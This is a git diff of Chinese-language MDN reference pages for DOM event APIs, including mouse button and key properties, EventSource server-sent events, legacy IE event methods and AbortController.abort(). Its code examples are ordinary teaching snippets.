The order of buttons may be different depending on how the pointing device has been configured.

-

例子

-
<script>
-var whichButton = function (e) {
-    // 处理不同的事件模型
-    var e = e || window.event;
-    var btnCode;
-
-    if ('object' === typeof e) {
-        btnCode = e.button;
-
-        switch (btnCode) {
-            case 0:
-                alert('你按了左键.');
-            break;
-            case 1:
-                alert('你按了中键.');
-            break;
-            case 2:
-                alert('你按了右键.');
-            break;
-            default:
-                alert('未知按键: ' + btnCode);
-        }
-    }
-}
-</script>
-
-<button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();">请点击鼠标...</button>
-
-

备注

-

Because mouse clicks are frequently intercepted by the user interface, it may be difficult to detect buttons other than those for a standard mouse click (usually the left button) in some circumstances.

-

Users may change the configuration of buttons on their pointing device so that if an event's button property is zero, it may not have been caused by the button that is physically left–most on the pointing device; however, it should behave as if the left button was clicked in the standard button layout.

-

规范

-

DOM 2 Events Specification: button

-

浏览器兼容性

-

Based on Jan Wolter's JavaScript Madness: Mouse Events.

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - -
FeatureGeckoWebkitInternet ExplorerOpera
Basic support152398
-
-

{{ languages( { "ja": "ja/DOM/event.button", "pl": "pl/DOM/event.button" ,"en": "en/DOM/event.button" } ) }}

diff --git a/files/zh-cn/web/api/event.relatedtarget/index.html b/files/zh-cn/web/api/event.relatedtarget/index.html deleted file mode 100644 index a334f4b2eb..0000000000 --- a/files/zh-cn/web/api/event.relatedtarget/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: event.relatedTarget -slug: Web/API/event.relatedTarget -translation_of: Web/API/MouseEvent/relatedTarget -translation_of_original: Web/API/event.relatedTarget ---- -

 

- -

{{APIRef("DOM")}}

- -

简要

- -

为事件标识第二目标

- -

描述

- -

relatedTarget 属性用于在一个事件中查找另外一个元素。有些事件比如 mouseover 通常侧重处理一个特定的目标,而有些有也可能会涉及到第二目标,比如当目标退出第一目标的 mouseover 事件.

- -

事件

- -

只有 MouseEvents 有这个属性,而且这些些只在特定的 MouseEvents 事件中有效:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
事件名relatedTarget role
focusin哪个 {{domxref("EventTarget")}} 失去焦点
focusout哪个 {{domxref("EventTarget")}} 获得焦点
mouseenter鼠标从哪个 {{domxref("EventTarget")}} 进来
mouseleave鼠标移到哪个{{domxref("EventTarget")}} 去
mouseout鼠标移到哪个{{domxref("EventTarget")}} 去
mouseover鼠标从哪个{{domxref("EventTarget")}} 进来
dragenter鼠标从哪个{{domxref("EventTarget")}} 进来
dragexit鼠标移到哪个{{domxref("EventTarget")}} 去
- -

示例

- -
<!DOCTYPE html>
-<html>
-<head>
-
-<style>
-div > div {
-  height: 128px;
-  width: 128px;
-}
-#top    { background-color: red; }
-#bottom { background-color: blue; }
-</style>
-
-<script>
-function outListener(event) {
-  console.log("exited " + event.target.id + " for " + event.relatedTarget.id);
-}
-
-function overListener(event) {
-  console.log("entered " + event.target.id + " from " + event.relatedTarget.id);
-}
-
-function loadListener() {
-  var top = document.getElementById("top"),
-      bottom = document.getElementById("bottom");
-
-  top.addEventListener("mouseover", overListener);
-  top.addEventListener("mouseout", outListener);
-  bottom.addEventListener("mouseover", overListener);
-  bottom.addEventListener("mouseout", outListener);
-}
-</script>
-
-</head>
-
-<body onload="loadListener();">
-
-<div id="outer">
-  <div id="top"></div>
-  <div id="bottom"></div>
-</div>
-
-</body>
-</html>
-
- -

在JSFiddle中查看

- -

Specification

- - - -

See also

- - diff --git a/files/zh-cn/web/api/event.shiftkey/index.html b/files/zh-cn/web/api/event.shiftkey/index.html deleted file mode 100644 index e01246caca..0000000000 --- a/files/zh-cn/web/api/event.shiftkey/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: event.shiftKey -slug: Web/API/event.shiftKey -translation_of: Web/API/MouseEvent/shiftKey -translation_of_original: Web/API/event.shiftKey ---- -

{{ ApiRef() }}

-

概述

-

表明当事件触发时,SHIFT键是否处于按下状态.

-

语法

-
var bool = event.shiftKey;
-
-

bool 的值为 truefalse

-

例子

-
<html>
-<head>
-<title>shiftKey example</title>
-
-<script type="text/javascript">
-
-function showChar(e){
-  alert(
-    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
-    + "charCode: " + e.charCode + "\n"
-    + "SHIFT key pressed: " + e.shiftKey + "\n"
-    + "ALT key pressed: " + e.altKey + "\n"
-  );
-}
-
-</script>
-</head>
-
-<body onkeypress="showChar(event);">
-<p>按下一个字符键,尝试同时按下SHIFT键.<br />
-你也可以同时按下SHIFT键和ALT键.</p>
-</body>
-</html>
-
-

规范

-

shiftKey

-

{{ languages( { "pl": "pl/DOM/event.shiftKey" ,"en": "en/DOM/event.shiftKey" } ) }}

diff --git a/files/zh-cn/web/api/event/cancelbubble/index.html b/files/zh-cn/web/api/event/cancelbubble/index.html new file mode 100644 index 0000000000..c228d329d6 --- /dev/null +++ b/files/zh-cn/web/api/event/cancelbubble/index.html @@ -0,0 +1,93 @@ +--- +title: Event.cancelBubble +slug: Web/API/Event/禁用时间冒泡 +tags: + - 事件 +translation_of: Web/API/Event/cancelBubble +--- +

{{APIRef("DOM Events")}} 

+ +

Event.cancelBubble 属性是 {{domxref("Event.stopPropagation()")}}的一个曾用名。在从事件处理程序返回之前将其值设置为true可阻止事件的传播。

+ +

语法

+ +
event.cancelBubble = bool;
+let bool = event.cancelBubble;
+ +

用例

+ +
+
+
ele.onclick = function(e) {
+  // 在这儿可以做点儿有趣的事情
+  e.cancelBubble = true;
+}
+
+
+ +

规范

+ +

这个属性的规范并未统一. 因为他还有其他标准 W3C版: an old Working Draft of W3C DOM Level 2. 微软版: description of it on MSDN.

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/event/createevent/index.html b/files/zh-cn/web/api/event/createevent/index.html deleted file mode 100644 index 8b9c249c71..0000000000 --- a/files/zh-cn/web/api/event/createevent/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Event.createEvent() -slug: Web/API/Event/createEvent -tags: - - DOM - - Event - - JavaScript - - Method -translation_of: Web/API/Document/createEvent -translation_of_original: Web/API/Event/createEvent ---- -

{{APIRef("DOM")}}

- -

创建一个新的事件(Event),随之必须调用自身的 init 方法进行初始化。

- -

语法

- -
document.createEvent(type) 
- -
-
type
-
指明待创建事件对象的类型的字符串
-
- -

此方法返回一个新的特定类型的 DOM {{ domxref("Event") }} 对象,此对象在使用前必须经过初始化(init)。

- -

示例

- -
var newEvent = document.createEvent("UIEvents");
- -

规范

- - diff --git a/files/zh-cn/web/api/event/deeppath/index.html b/files/zh-cn/web/api/event/deeppath/index.html deleted file mode 100644 index 61bfdf1366..0000000000 --- a/files/zh-cn/web/api/event/deeppath/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Event.deepPath -slug: Web/API/Event/deepPath -translation_of: Web/API/Event/composedPath -translation_of_original: Web/API/Event/deepPath ---- -

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

- -

{{domxref("Event")}}的deepPath 属性返回事件冒泡过程所有经过的节点所构成的{{jsxref("Array")}}数组

- -

语法

- -
var nodes[] = Event.deepPath
- -

返回值

- -

一组节点 构成的{{jsxref("Array")}}数组

- -

规范

- - - - - - - - - - - - - - -
规格状态评语
{{SpecName('Shadow DOM','#widl-Event-deepPath-sequence-EventTarget','deepPath')}}{{Spec2('Shadow DOM')}}Initial definition.
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
-
diff --git "a/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" "b/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" deleted file mode 100644 index c228d329d6..0000000000 --- "a/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Event.cancelBubble -slug: Web/API/Event/禁用时间冒泡 -tags: - - 事件 -translation_of: Web/API/Event/cancelBubble ---- -

{{APIRef("DOM Events")}} 

- -

Event.cancelBubble 属性是 {{domxref("Event.stopPropagation()")}}的一个曾用名。在从事件处理程序返回之前将其值设置为true可阻止事件的传播。

- -

语法

- -
event.cancelBubble = bool;
-let bool = event.cancelBubble;
- -

用例

- -
-
-
ele.onclick = function(e) {
-  // 在这儿可以做点儿有趣的事情
-  e.cancelBubble = true;
-}
-
-
- -

规范

- -

这个属性的规范并未统一. 因为他还有其他标准 W3C版: an old Working Draft of W3C DOM Level 2. 微软版: description of it on MSDN.

- -

浏览器兼容

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

参考

- - diff --git a/files/zh-cn/web/api/eventsource/close/index.html b/files/zh-cn/web/api/eventsource/close/index.html new file mode 100644 index 0000000000..3b8af5d6d3 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/close/index.html @@ -0,0 +1,138 @@ +--- +title: EventSource.close() +slug: Server-sent_events/EventSource/close +translation_of: Web/API/EventSource/close +--- +
{{APIRef('WebSockets API')}}
+ +
 
+ +

{{domxref("EventSource")}} 的方法close()用于关闭当前的连接,如果调用了此方法,则会将{{domxref("EventSource.readyState")}}这个属性值设置为 2 (closed)

+ +
+

Note: 如果连接已经被关闭,此方法不会做任何事情

+
+ +

语法

+ +
eventSource.close();
+ +

参数

+ +

None.

+ +

返回值

+ +

Void.

+ +

例子

+ +
var button = document.querySelector('button');
+var evtSource = new EventSource('sse.php');
+
+button.onclick = function() {
+  console.log('Connection closed');
+  evtSource.close();
+}
+
+ +
+

Note: 你可以在Github上查看这整个例子: Simple SSE demo using PHP.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource-close", "close()")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] But not service workers as yet.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventsource/eventsource/index.html b/files/zh-cn/web/api/eventsource/eventsource/index.html new file mode 100644 index 0000000000..a93b5eb8b2 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/eventsource/index.html @@ -0,0 +1,149 @@ +--- +title: EventSource() +slug: Server-sent_events/EventSource/EventSource +tags: + - API + - EventSource + - Server-sent events +translation_of: Web/API/EventSource/EventSource +--- +

{{APIRef('WebSockets API')}}

+ +

EventSource() 构造函数返回一个新建的{{domxref("EventSource")}},它代表了一个远程资源。

+ +

语法

+ +
pc = new EventSource(url, configuration);
+ +

参数

+ +
+
url
+
 一个{{domxref("USVString")}} ,它代表远程资源的位置
+
configuration {{optional_inline}}
+
为配置新连接提供选项。可选项是: +
    +
  • withCredentials,默认为 false,指示 CORS 是否应包含凭据( credentials )。
  • +
+
+
+ +

返回值

+ +

 一个新建的 {{domxref("EventSource")}} 对象,如果指定了configuration, 则按其配置;否则,配置为合适的基本默认值。

+ + + +

示例

+ + + +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +
+

笔记: 你可以在 GitHub 查看完整示例 — 请查看 Simple SSE demo using PHP.

+
+ + + + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
 Basic support9{{ CompatGeckoDesktop("6.0") }}{{CompatUnknown}}115
CORS support (withCredentials)26{{ CompatGeckoDesktop("11.0") }}{{CompatUnknown}}12{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatAndroid("4.4") }}{{ CompatGeckoMobile("6.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
CORS support (withCredentials){{CompatUnknown}}{{ CompatGeckoMobile("11.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventsource/index.html b/files/zh-cn/web/api/eventsource/index.html new file mode 100644 index 0000000000..977bf56d90 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/index.html @@ -0,0 +1,155 @@ +--- +title: EventSource +slug: Server-sent_events/EventSource +tags: + - API + - Server-sent events + - 参考 +translation_of: Web/API/EventSource +--- +

{{APIRef("Websockets API")}}

+ +

EventSource 是服务器推送的一个网络事件接口。一个EventSource实例会对HTTP服务开启一个持久化的连接,以text/event-stream 格式发送事件, 会一直保持开启直到被要求关闭。

+ +

一旦连接开启,来自服务端传入的消息会以事件的形式分发至你代码中。如果接收消息中有一个事件字段,触发的事件与事件字段的值相同。如果没有事件字段存在,则将触发通用事件。

+ +

与 WebSockets,不同的是,服务端推送是单向的。数据信息被单向从服务端到客户端分发. 当不需要以消息形式将数据从客户端发送到服务器时,这使它们成为绝佳的选择。例如,对于处理社交媒体状态更新,新闻提要或将数据传递到客户端存储机制(如IndexedDB或Web存储)之类的,EventSource无疑是一个有效方案。

+ +

构造函数

+ +
+
{{domxref("EventSource.EventSource", "EventSource()")}}
+
以指定的 {{domxref("USVString")}} 创建一个新的 EventSource
+
+ +

属性

+ +

此接口从其父接口 {{domxref("EventTarget")}} 继承属性。

+ +
+
{{domxref("EventSource.onerror")}}
+
是一个 {{domxref("EventHandler")}},当发生错误时被调用,并且在此对象上派发 {{event("error")}} 事件。
+
{{domxref("EventSource.onmessage")}}
+
是一个 {{domxref("EventHandler")}},当收到一个 {{event("message")}} 事件,即消息来自源头时被调用。
+
{{domxref("EventSource.onopen")}}
+
是一个 {{domxref("EventHandler")}},当收到一个 {{event(" open ")}} 事件,即连接刚打开时被调用。
+
{{domxref("EventSource.readyState")}} {{readonlyinline}}
+
一个 unsigned short 值,代表连接状态。可能值是 CONNECTING (0), OPEN (1), 或者 CLOSED (2)。
+
{{domxref("EventSource.url")}} {{readonlyinline}}
+
一个{{domxref("DOMString")}},代表事件源的 URL。
+
+ +

事件接收器

+ +
+
{{domxref("EventSource.onerror")}}
+
Is an {{domxref("EventHandler")}} called when an error occurs and the {{domxref("EventSource/error_event", "error")}} event is dispatched on an EventSource object.
+
{{domxref("EventSource.onmessage")}}
+
Is an {{domxref("EventHandler")}} called when a {{domxref("EventSource/message_event", "message")}} event is received, that is when a message is coming from the source.
+
{{domxref("EventSource.onopen")}}
+
Is an {{domxref("EventHandler")}} called when an {{domxref("EventSource/open_event", "open")}} event is received, that is when the connection was just opened.
+
+ +

方法

+ +

此接口从其父接口 {{domxref("EventTarget")}} 继承方法。

+ +
+
{{domxref("EventSource.close()")}}
+
如果存在,则关闭连接,并且设置 readyState 属性为 CLOSED。如果连接已经被关闭,此方法不会再进行任何操作。
+
+ +

事件

+ +
+
{{domxref("EventSource/error_event", "error")}}
+
Fired when a connection to an event source failed to open.
+
{{domxref("EventSource/message_event", "message")}}
+
Fired when data is received from an event source.
+
{{domxref("EventSource/open_event", "open")}}
+
Fired when a connection to an event source has opened.
+
+ +

Additionally, the event source itself may send messages with an event field, which will create ad-hoc events keyed to that value.

+ +

示例

+ +

In this basic example, an EventSource is created to receive unnamed events from the server; a page with the name sse.php is responsible for generating the events.

+ +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +

Each received event causes our EventSource object's onmessage event handler to be run. It, in turn, creates a new {{HTMLElement("li")}} element and writes the message's data into it, then appends the new element to the list element already in the document.

+ +
+

Note: You can find a full example on GitHub — see Simple SSE demo using PHP.

+
+ +

To listen to named events, you'll require a listener for each type of event sent.

+ +
  const sse = new EventSource('/api/v1/sse');
+
+  /* This will listen only for events
+   * similar to the following:
+   *
+   * event: notice
+   * data: useful data
+   * id: someid
+   *
+   */
+  sse.addEventListener("notice", function(e) {
+    console.log(e.data)
+  })
+
+  /* Similarly, this will listen for events
+   * with the field `event: update`
+   */
+  sse.addEventListener("update", function(e) {
+    console.log(e.data)
+  })
+
+  /* The event "message" is a special case, as it
+   * will capture events without an event field
+   * as well as events that have the specific type
+   * `event: message` It will not trigger on any
+   * other event type.
+   */
+  sse.addEventListener("message", function(e) {
+    console.log(e.data)
+  })
+  
+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventSource")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/eventsource/onerror/index.html b/files/zh-cn/web/api/eventsource/onerror/index.html new file mode 100644 index 0000000000..ad24259a4e --- /dev/null +++ b/files/zh-cn/web/api/eventsource/onerror/index.html @@ -0,0 +1,122 @@ +--- +title: EventSource.onerror +slug: Server-sent_events/EventSource/onerror +translation_of: Web/API/EventSource/onerror +--- +
{{APIRef('WebSockets API')}}
+ +
 
+ + +

{{domxref("EventSource")}} 的属性 onerror 是当发生错误且这个错误事件({{event("error")}} )被EventSource触发时调用的一个事件处理函数({{domxref("EventHandler")}})

+ +

语法

+ +
eventSource.onerror = function
+ +

例子

+ +
evtSource.onerror = function() {
+  console.log("EventSource failed.");
+};
+ +
+

Note: 你可以在Github上查看这个完整例子: Simple SSE demo using PHP.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onerror", "onerror")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] But not service workers as yet.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventsource/onopen/index.html b/files/zh-cn/web/api/eventsource/onopen/index.html new file mode 100644 index 0000000000..dfc47bbf4e --- /dev/null +++ b/files/zh-cn/web/api/eventsource/onopen/index.html @@ -0,0 +1,123 @@ +--- +title: EventSource.onopen +slug: Server-sent_events/EventSource/onopen +tags: + - API + - Event Handler + - EventSource +translation_of: Web/API/EventSource/onopen +--- +
{{APIRef('WebSockets API')}}
+ +

{{domxref("EventSource")}}接口的 onopen 属性是一个 {{domxref("EventHandler")}} ,它在收到{{event("open")}} 事件时被调用,在那时,连接刚被打开。

+ +

语法

+ +
eventSource.onopen = function
+ +

示例

+ +
evtSource.onopen = function() {
+  console.log("Connection to server opened.");
+};
+ +
+

注意 :你可以在 GitHub 上看到一个完整的示例— 请看 使用php的SSE(服务器发送事件)demo。

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onopen", "onopen")}}{{Spec2('HTML WHATWG')}}Initial definition
+ + + +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
支持EventSource6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
在共享和专用的 workers上可用[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
支持EventSource4.445{{CompatNo}}124.1
在共享和专用的 workers上可用 [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] 但 目前不能在service workers上使用.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventtarget/attachevent/index.html b/files/zh-cn/web/api/eventtarget/attachevent/index.html deleted file mode 100644 index f637813381..0000000000 --- a/files/zh-cn/web/api/eventtarget/attachevent/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: 为这个EventTarget附加事件. -slug: Web/API/EventTarget/attachEvent -tags: - - Junk -translation_of: Web/API/EventTarget/addEventListener -translation_of_original: Web/API/EventTarget/attachEvent ---- -

{{DOMxRef("EventTarget.addEventListener","EventTarget.addEventListener()")}}

diff --git a/files/zh-cn/web/api/eventtarget/detachevent/index.html b/files/zh-cn/web/api/eventtarget/detachevent/index.html deleted file mode 100644 index 3b4cbcfd90..0000000000 --- a/files/zh-cn/web/api/eventtarget/detachevent/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: EventTarget.detachEvent() -slug: Web/API/EventTarget/detachEvent -tags: - - API - - DOM - - Method - - Non-standard -translation_of: Web/API/EventTarget/removeEventListener -translation_of_original: Web/API/EventTarget/detachEvent ---- -

{{APIRef("DOM Events")}}

- -

{{ Non-standard_header() }}

- -

简介

- -

这是Microsoft Internet Explorer专有的用于替代标准的 {{domxref("EventTarget.removeEventListener()")}} 的方法。

- -

语法

- -
target.detachEvent(eventNameWithOn, callback)
-
- -
-
target
-
将要移除事件的DOM节点
-
eventNameWithOn
-
将要移除的事件名,以“on”为前缀(例如它是一个事件处理程序)。 例如,您可以使用“onclick”移除点击事件的事件处理程序。
-
callback
-
注销事件后的回调函数
-
- -

详细

- -

任何规范没有此部分。

- -

微软在 MSDN 上有相关描述。

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 至 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
特征AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

[1]: detachEvent() 在 IE11+ 中不再支持。 {{domxref("EventTarget.removeEventListener()")}} 在 IE9+ 中支持。

- -

See also

- - diff --git a/files/zh-cn/web/api/eventtarget/fireevent/index.html b/files/zh-cn/web/api/eventtarget/fireevent/index.html deleted file mode 100644 index edc74b2306..0000000000 --- a/files/zh-cn/web/api/eventtarget/fireevent/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: EventTarget.fireEvent() -slug: Web/API/EventTarget/fireEvent -translation_of: Web/API/EventTarget/dispatchEvent -translation_of_original: Web/API/EventTarget/fireEvent ---- -

{{APIRef("DOM Events")}}

- -

{{ Non-standard_header() }}

- -

概述

- -

这是微软IE浏览器用以替代{{domxref("EventTarget.dispatchEvent()")}}的私有方法,与{{domxref("EventTarget.dispatchEvent()")}}不同的是通过fireEvent() 触发的事件不会触发事件的默认行为,例如,通过fireEvent()触发<input type="checkbox">的点击事件并不会切换checkbox的选中状态

- -

语法

- -
cancelled = target.fireEvent(eventNameWithOn, event)
-
- -
-
target
-
要触发事件的元素
-
eventNameWithOn
-
要触发事件的名字,前缀为“on”,例如,可以用过"onclick"来触发点击事件
-
event
-
要触发的事件对象
-
cancelled
-
布尔值,事件是否被事件句柄取消
-
- -

规范

- -

无此部分的规范

- -

微软的描述: has a description on MSDN.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 到 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

[1]: fireEvent()在IE11+已经不再支持,{{domxref("EventTarget.dispatchEvent()")}}在IE9+已经支持

- -

相关链接

- - diff --git a/files/zh-cn/web/api/fetchcontroller/abort/index.html b/files/zh-cn/web/api/fetchcontroller/abort/index.html deleted file mode 100644 index d661e73d2b..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/abort/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: AbortController.abort() -slug: Web/API/FetchController/abort -translation_of: Web/API/AbortController/abort ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

The abort() method of the {{domxref("AbortController")}} interface aborts a DOM request (e.g. a Fetch request) before it has completed. This is able to abort fetch requests, consumption of any response {{domxref("Body")}}, and streams.

- -

Syntax

- -
controller.abort();
- -

Parameters

- -

None.

- -

Return value

- -

Void.

- -

Examples

- -

In the following snippet, we aim to download a video using the Fetch API.

- -

We first create a controller using the {{domxref("AbortController.AbortController","AbortController()")}} constructor, then grab a reference to its associated {{domxref("AbortSignal")}} object using the {{domxref("AbortController.signal")}} property.

- -

When the fetch request is initiated, we pass in the AbortSignal as an option inside the request's options object (see {signal}, below). This associates the signal and controller with the fetch request and allows us to abort it by calling {{domxref("AbortController.abort()")}}, as seen below in the second event listener.

- -
var controller = new AbortController();
-var signal = controller.signal;
-
-var downloadBtn = document.querySelector('.download');
-var abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  ...
-  fetch(url, {signal}).then(function(response) {
-    ...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

Note: When abort() is called, the fetch() promise rejects with an AbortError.

-
- -

You can find a full working example on GitHub — see abort-api (see it running live also).

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
